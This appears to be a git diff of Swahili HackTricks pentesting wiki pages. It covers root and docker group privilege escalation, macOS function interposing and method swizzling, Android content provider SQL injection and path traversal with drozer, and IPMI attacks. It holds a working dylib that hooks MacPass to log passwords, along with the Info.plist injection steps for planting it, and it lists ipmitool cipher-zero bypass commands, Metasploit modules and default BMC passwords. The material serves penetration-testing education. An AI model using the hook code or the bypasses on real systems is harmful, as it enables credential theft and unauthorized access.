![](../../images/image%20%28208%29.png)
Kisha badilisha Upana na Kimo kuwa zile zinazotumika kwenye skrini na angalia aina tofauti za Picha \(na uchague ile inayoonyesha vizuri skrini\):
![](../../images/image%20%28295%29.png)
# Kundi la Root
Inaonekana kama kwa kawaida **wanachama wa kundi la root** wanaweza kuwa na ufikiaji wa **kubadilisha** baadhi ya **faili za usanidi** wa **huduma** au baadhi ya **faili za maktaba** au **mambo mengine ya kuvutia** ambayo yanaweza kutumika kuongeza mamlaka...
**Angalia ni faili zipi wanachama wa root wanaweza kubadilisha**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Kundi la Docker
Unaweza kuunganisha mfumo wa faili wa mwenyeji kwenye kiasi cha mfano, hivyo wakati mfano unapoanza, mara moja inachaji `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi root kwenye mashine.
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# Kundi la lxc/lxd
[lxc - Kuinua Haki](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,338 +0,0 @@
# macOS Function Hooking
{{#include ../../../banners/hacktricks-training.md}}
## Function Interposing
Unda **dylib** yenye sehemu ya **`__interpose`** (au sehemu iliyo na alama ya **`S_INTERPOSING`**) inayojumuisha tuples za **function pointers** zinazorejelea **asili** na **mbadala** za kazi.
Kisha, **ingiza** dylib kwa kutumia **`DYLD_INSERT_LIBRARIES`** (kuingilia kunahitaji kutokea kabla ya programu kuu kupakia). Kwa wazi, [**vizuizi** vilivyowekwa kwa matumizi ya **`DYLD_INSERT_LIBRARIES`** vinatumika hapa pia](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
Katika ObjectiveC, hii ndiyo njia ambayo njia inaitwa kama: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Inahitajika **kitu**, **njia** na **params**. Na wakati njia inaitwa, **msg inatumwa** kwa kutumia kazi **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Kitu ni **`someObject`**, njia ni **`@selector(method1p1:p2:)`** na hoja ni **value1**, **value2**.
Kufuata muundo wa vitu, inawezekana kufikia **array ya njia** ambapo **majina** na **viashiria** vya msimbo wa njia viko **pamoja**.
> [!CAUTION]
> Kumbuka kwamba kwa sababu njia na madarasa yanapatikana kulingana na majina yao, taarifa hii inahifadhiwa katika binary, hivyo inawezekana kuipata kwa `otool -ov </path/bin>` au [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
Inawezekana kufikia taarifa za njia kama jina, idadi ya params au anwani kama katika mfano ufuatao:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Method Swizzling with method_exchangeImplementations
The function **`method_exchangeImplementations`** inaruhusu **kubadilisha** **anwani** ya **utekelezaji** wa **kazi moja kwa nyingine**.
> [!CAUTION]
> Hivyo wakati kazi inaitwa kile kinachokuwa **kinatekelezwa ni nyingine**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
> [!WARNING]
> Katika kesi hii, ikiwa **kanuni ya utekelezaji ya njia halali** **inashtaki** **jina la njia**, inaweza **gundua** hii swizzling na kuzuia isifanye kazi.
>
> Mbinu ifuatayo haina kizuizi hiki.
### Method Swizzling with method_setImplementation
Muundo wa awali ni wa ajabu kwa sababu unabadilisha utekelezaji wa njia 2 kutoka kwa nyingine. Kwa kutumia kazi **`method_setImplementation`** unaweza **kubadilisha** **utekelezaji** wa **njia kwa nyingine**.
Kumbuka tu **kuhifadhi anwani ya utekelezaji wa ile ya awali** ikiwa unakusudia kuitwa kutoka kwa utekelezaji mpya kabla ya kuandika juu yake kwa sababu baadaye itakuwa ngumu zaidi kupata anwani hiyo.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Hooking Attack Methodology
Katika ukurasa huu njia tofauti za kuhooki kazi zilijadiliwa. Hata hivyo, zilihusisha **kukimbia msimbo ndani ya mchakato ili kushambulia**.
Ili kufanya hivyo, mbinu rahisi zaidi ya kutumia ni kuingiza [Dyld kupitia mabadiliko ya mazingira au hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Hata hivyo, nadhani hii inaweza pia kufanywa kupitia [Dylib process injection](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Hata hivyo, chaguo zote mbili ni **za mipaka** kwa **binaries/mchakato zisizo na ulinzi**. Angalia kila mbinu ili kujifunza zaidi kuhusu mipaka.
Hata hivyo, shambulio la kuhooki kazi ni maalum sana, mshambuliaji atafanya hivi ili **kuiba taarifa nyeti kutoka ndani ya mchakato** (ikiwa sivyo ungehitaji tu kufanya shambulio la kuingiza mchakato). Na taarifa hii nyeti inaweza kuwa katika programu zilizopakuliwa na mtumiaji kama MacPass.
Hivyo, njia ya mshambuliaji itakuwa ama kupata udhaifu au kuondoa saini ya programu, kuingiza **`DYLD_INSERT_LIBRARIES`** env variable kupitia Info.plist ya programu kwa kuongeza kitu kama:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
na kisha **re-register** programu:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Ongeza katika maktaba hiyo msimbo wa hooking ili kutoa taarifa: Nywila, ujumbe...
> [!CAUTION]
> Kumbuka kwamba katika matoleo mapya ya macOS ikiwa **unafuta saini** ya binary ya programu na ilikuwa imefanywa kazi hapo awali, macOS **haitakuwa ikitekeleza programu** tena.
#### Mfano wa maktaba
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Marejeleo
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,95 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,12 +1,10 @@
# Exploiting Content Providers
## Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Intro
Data inapatikana **kutoka kwa programu moja hadi nyingine** kwa ombi la kipengele kinachojulikana kama **content provider**. Ombi hizi zinadhibitiwa kupitia **ContentResolver class** methods. Watoa maudhui wanaweza kuhifadhi data zao katika maeneo mbalimbali, kama vile **database**, **files**, au kupitia **network**.
Data inapatikana **kutoka kwa programu moja hadi nyingine** kwa ombi la kipengele kinachojulikana kama **content provider**. Maombi haya yanadhibitiwa kupitia mbinu za **ContentResolver class**. Watoa maudhui wanaweza kuhifadhi data zao katika maeneo mbalimbali, kama vile **database**, **files**, au kupitia **network**.
Katika faili _Manifest.xml_, tangazo la mtoa maudhui linahitajika. Kwa mfano:
```xml
@ -14,7 +12,7 @@ Katika faili _Manifest.xml_, tangazo la mtoa maudhui linahitajika. Kwa mfano:
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
Ili kufikia `content://com.mwr.example.sieve.DBContentProvider/Keys`, ruhusa ya `READ_KEYS` inahitajika. Ni ya kuvutia kutambua kwamba njia `/Keys/` inapatikana katika sehemu ifuatayo, ambayo haijalindwa kutokana na makosa ya mende, ambaye alilinda `/Keys` lakini alitangaza `/Keys/`.
Ili kufikia `content://com.mwr.example.sieve.DBContentProvider/Keys`, ruhusa ya `READ_KEYS` inahitajika. Ni ya kuvutia kutaja kwamba njia `/Keys/` inapatikana katika sehemu ifuatayo, ambayo haijalindwa kutokana na makosa ya mende, ambaye alilinda `/Keys` lakini alitangaza `/Keys/`.
**Labda unaweza kufikia data za kibinafsi au kutumia udhaifu fulani (SQL Injection au Path Traversal).**
@ -64,12 +62,12 @@ Pia, ikiwa huwezi kupata maswali kamili unaweza **kuangalia ni majina gani yamew
Swali litakuwa kama: `content://name.of.package.class/declared_name`
## **Database-backed Content Providers**
## **Watoa Maudhui Wanaoungwa Mkono na Hifadhidata**
Labda wengi wa Content Providers hutumiwa kama **interface** kwa **database**. Hivyo, ikiwa unaweza kuipata unaweza kuwa na uwezo wa **kuchota, kusasisha, kuingiza na kufuta** taarifa.\
Angalia ikiwa unaweza **kupata taarifa nyeti** au jaribu kubadilisha ili **kuepuka** mifumo ya **idhinisha**.
Labda watoa maudhui wengi hutumiwa kama **kiunganishi** kwa **hifadhidata**. Kwa hivyo, ikiwa unaweza kuifikia unaweza kuwa na uwezo wa **kuchota, kusasisha, kuingiza na kufuta** taarifa.\
Angalia ikiwa unaweza **kufikia taarifa nyeti** au jaribu kubadilisha ili **kupita** mifumo ya idhini.
Unapokagua msimbo wa Content Provider **angalia** pia kwa **functions** zenye majina kama: _query, insert, update na delete_:
Unapokagua msimbo wa Watoa Maudhui **angalia** pia kwa **kazi** zenye majina kama: _query, insert, update na delete_:
![](<../../../images/image (887).png>)
@ -77,7 +75,7 @@ Unapokagua msimbo wa Content Provider **angalia** pia kwa **functions** zenye ma
Kwa sababu utaweza kuziita
### Query content
### Uliza maudhui
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
@ -87,34 +85,34 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Ingiza maudhui
### Insert content
Kwa kuuliza kwenye database utaweza kujifunza **jina la safu**, kisha, utaweza kuingiza data kwenye DB:
Quering the database you will learn the **jina la safu** , then, you could be able to insert data in the DB:
![](<../../../images/image (98).png>)
![](<../../../images/image (173).png>)
_Kumbuka kwamba katika kuingiza na kusasisha unaweza kutumia --string kuashiria string, --double kuashiria double, --float, --integer, --long, --short, --boolean_
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
### Sasisha maudhui
### Update content
Ukijua jina la safu unaweza pia **kubadilisha entries**:
Knowing the name of the columns you could also **badilisha entries**:
![](<../../../images/image (780).png>)
### Futa maudhui
### Delete content
![](<../../../images/image (423).png>)
### **SQL Injection**
Ni rahisi kujaribu SQL injection **(SQLite)** kwa kubadilisha **projection** na **selection fields** ambazo zinapitishwa kwa mtoa maudhui.\
Wakati wa kuuliza Mtoa Maudhui kuna hoja 2 za kuvutia kutafuta taarifa: _--selection_ na _--projection_:
It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
![](<../../../images/image (784).png>)
Unaweza kujaribu **kudhulumu** hizi **parameta** ili kujaribu **SQL injections**:
You can try to **abuse** this **parameters** to test for **SQL injections**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
@ -147,9 +145,9 @@ android_metadata
notes
sqlite_sequence
```
## **Watoa Maudhui Wanaoungwa na Mfumo wa Faili**
## **Watoa Maudhui Wanaoungwa Mkono na Mfumo wa Faili**
Watoa maudhui wanaweza pia kutumika **kupata faili:**
Watoa maudhui wanaweza pia kutumika **kufikia faili:**
![](<../../../images/image (407).png>)
@ -167,7 +165,7 @@ Ikiwa unaweza kufikia faili, unaweza kujaribu kutumia Path Traversal (katika kes
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Ugunduzi wa Safari ya Kiotomatiki na Drozer**
**Ugunduzi wa Safari wa Kiotomatiki na Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...

View File

@ -1,15 +1,13 @@
# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{{#include ../banners/hacktricks-training.md}}
## Basic Information
### **Muhtasari wa IPMI**
### **Overview of IPMI**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** inatoa njia iliyoandikwa kwa usimamizi na ufuatiliaji wa mbali wa mifumo ya kompyuta, bila kujali mfumo wa uendeshaji au hali ya nguvu. Teknolojia hii inawawezesha wasimamizi wa mifumo kusimamia mifumo kwa mbali, hata wakati zimezimwa au hazijibu, na ni muhimu hasa kwa:
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** inatoa njia iliyoimarishwa ya usimamizi na ufuatiliaji wa mifumo ya kompyuta kwa mbali, bila kujali mfumo wa uendeshaji au hali ya nguvu. Teknolojia hii inawawezesha wasimamizi wa mifumo kusimamia mifumo kwa mbali, hata wakati zimezimwa au hazijibu, na ni muhimu hasa kwa:
- Mipangilio ya awali ya OS
- Usimamizi wa kuzima nguvu
@ -20,29 +18,29 @@ IPMI ina uwezo wa kufuatilia joto, voltages, kasi za mashabiki, na vyanzo vya ng
Tangu ilipoanzishwa na Intel mwaka 1998, IPMI imeungwa mkono na wauzaji wengi, ikiongeza uwezo wa usimamizi wa mbali, hasa na msaada wa toleo la 2.0 kwa serial juu ya LAN. Vipengele muhimu ni pamoja na:
- **Baseboard Management Controller (BMC):** Kichakataji kikuu cha micro kwa shughuli za IPMI.
- **Mabasi ya Mawasiliano na Interfaces:** Kwa mawasiliano ya ndani na nje, ikiwa ni pamoja na ICMB, IPMB, na interfaces mbalimbali za muunganisho wa ndani na mtandao.
- **Communication Buses and Interfaces:** Kwa mawasiliano ya ndani na nje, ikiwa ni pamoja na ICMB, IPMB, na interfaces mbalimbali za muunganisho wa ndani na mtandao.
- **IPMI Memory:** Kwa kuhifadhi kumbukumbu na data.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Bandari ya Kawaida**: 623/UDP/TCP (Kawaida iko kwenye UDP lakini inaweza pia kuwa inafanya kazi kwenye TCP)
**Default Port**: 623/UDP/TCP (Kawaida iko kwenye UDP lakini inaweza pia kuwa inafanya kazi kwenye TCP)
## Enumeration
### Ugunduzi
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Unaweza **kubaini** **toleo** kwa kutumia:
Unaweza **kutambua** **toleo** kwa kutumia:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Vulnerabilities
Katika eneo la IPMI 2.0, kasoro kubwa ya usalama iligunduliwa na Dan Farmer, ikifunua udhaifu kupitia **cipher type 0**. Udhaifu huu, ulioandikwa kwa undani katika [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html), unaruhusu ufikiaji usioidhinishwa kwa kutumia nenosiri lolote ikiwa mtumiaji halali anashambuliwa. Udhihirisho huu ulipatikana katika BMC mbalimbali kutoka kwa watengenezaji kama HP, Dell, na Supermicro, ukionyesha tatizo lililoenea katika utekelezaji wote wa IPMI 2.0.
Katika eneo la IPMI 2.0, kasoro kubwa ya usalama iligunduliwa na Dan Farmer, ikifunua udhaifu kupitia **cipher type 0**. Udhaifu huu, ulioandikwa kwa undani katika [Dan Farmer's research](http://fish2.com/ipmi/cipherzero.html), unaruhusu ufikiaji usioidhinishwa kwa kutumia nenosiri lolote ikiwa mtumiaji halali anashambuliwa. Udhaifu huu ulipatikana katika BMC mbalimbali kutoka kwa watengenezaji kama HP, Dell, na Supermicro, ukionyesha tatizo lililoenea katika utekelezaji wote wa IPMI 2.0.
### **IPMI Authentication Bypass via Cipher 0**
@ -50,7 +48,7 @@ Ili kugundua kasoro hii, skana ya ziada ya Metasploit ifuatayo inaweza kutumika:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Kuvunja kwa kasoro hii kunaweza kufanywa kwa kutumia `ipmitool`, kama inavyoonyeshwa hapa chini, ikiruhusu orodha na mabadiliko ya nywila za watumiaji:
Kuvunja kwa kasoro hii kunawezekana kwa kutumia `ipmitool`, kama inavyoonyeshwa hapa chini, ikiruhusu orodha na mabadiliko ya nywila za watumiaji:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
@ -58,7 +56,7 @@ ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
```
### **IPMI 2.0 RAKP Uthibitisho wa Ujumbe wa Mbali wa Nywila ya Hash**
Ukiukaji huu unaruhusu kupata nywila za hash zilizotiwa chumvi (MD5 na SHA1) kwa jina lolote lililopo. Ili kujaribu ukiukaji huu, Metasploit inatoa moduli:
Ukatili huu unaruhusu upatikanaji wa nywila za hash zilizotiwa chumvi (MD5 na SHA1) kwa jina lolote lililopo. Ili kujaribu ukosefu huu, Metasploit inatoa moduli:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
@ -69,33 +67,33 @@ Mipangilio ya default katika BMC nyingi inaruhusu ufikiaji wa "anonymous", unaoj
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Nywila za Maandishi Safi**
### **Supermicro IPMI Maneno ya Siri ya Kawaida**
Chaguo muhimu katika muundo wa IPMI 2.0 kinahitaji uhifadhi wa nywila za maandiko safi ndani ya BMCs kwa ajili ya madhumuni ya uthibitishaji. Uhifadhi wa nywila hizi na Supermicro katika maeneo kama `/nv/PSBlock` au `/nv/PSStore` kunaibua wasiwasi mkubwa wa usalama:
Chaguo muhimu katika muundo wa IPMI 2.0 kinahitaji uhifadhi wa maneno ya siri ya kawaida ndani ya BMCs kwa ajili ya madhumuni ya uthibitishaji. Uhifadhi wa Supermicro wa maneno haya katika maeneo kama `/nv/PSBlock` au `/nv/PSStore` unainua wasiwasi mkubwa wa usalama:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Uthibitisho wa Uthibitisho**
Kuongezwa kwa msikilizaji wa UPnP SSDP katika firmware ya IPMI ya Supermicro, hasa kwenye bandari ya UDP 1900, kunaingiza hatari kubwa ya usalama. Uthibitisho katika Intel SDK kwa ajili ya vifaa vya UPnP toleo 1.3.1, kama ilivyoelezwa na [kufichuliwa kwa Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), kunaruhusu ufikiaji wa mizizi kwa BMC:
Kuongezwa kwa Supermicro kwa msikilizaji wa UPnP SSDP katika firmware yake ya IPMI, hasa kwenye bandari ya UDP 1900, kunaingiza hatari kubwa ya usalama. Uthibitisho katika Intel SDK kwa vifaa vya UPnP toleo 1.3.1, kama ilivyoelezwa na [Rapid7's disclosure](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), kuruhusu ufikiaji wa mizizi kwa BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP inabadilisha nenosiri la kawaida** kwa bidhaa yake ya **Integrated Lights Out (iLO)** wakati wa utengenezaji. Praktiki hii inapingana na wazalishaji wengine, ambao huwa wanatumia **akili za kawaida za statiki**. Muhtasari wa majina ya watumiaji na nenosiri za kawaida kwa bidhaa mbalimbali unapatikana kama ifuatavyo:
**HP inabadilisha nenosiri la default** kwa bidhaa yake ya **Integrated Lights Out (iLO)** wakati wa utengenezaji. Praktiki hii inapingana na wazalishaji wengine, ambao huwa na **akili za default zisizobadilika**. Muhtasari wa majina ya watumiaji na nenosiri za default kwa bidhaa mbalimbali unapatikana kama ifuatavyo:
- **HP Integrated Lights Out (iLO)** inatumia **mfuatano wa herufi 8 ulioandaliwa kiwandani** kama nenosiri lake la kawaida, ikionyesha kiwango cha juu cha usalama.
- **HP Integrated Lights Out (iLO)** inatumia **mfuatano wa herufi 8 ulioandaliwa kiwandani** kama nenosiri lake la default, ikionyesha kiwango cha juu cha usalama.
- Bidhaa kama **iDRAC ya Dell, IMM ya IBM**, na **Meneja wa K remote wa Fujitsu** zinatumia nenosiri rahisi kubashiri kama "calvin", "PASSW0RD" (ikiwa na sifuri), na "admin" mtawalia.
- Vivyo hivyo, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, na **ASUS iKVM BMC** pia zinatumia akili za kawaida rahisi, huku "ADMIN", "changeme", na "admin" zikihudumu kama nenosiri zao.
- Vivyo hivyo, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, na **ASUS iKVM BMC** pia zinatumia akili za default rahisi, ambapo "ADMIN", "changeme", na "admin" zinatumika kama nenosiri zao.
## Accessing the Host via BMC
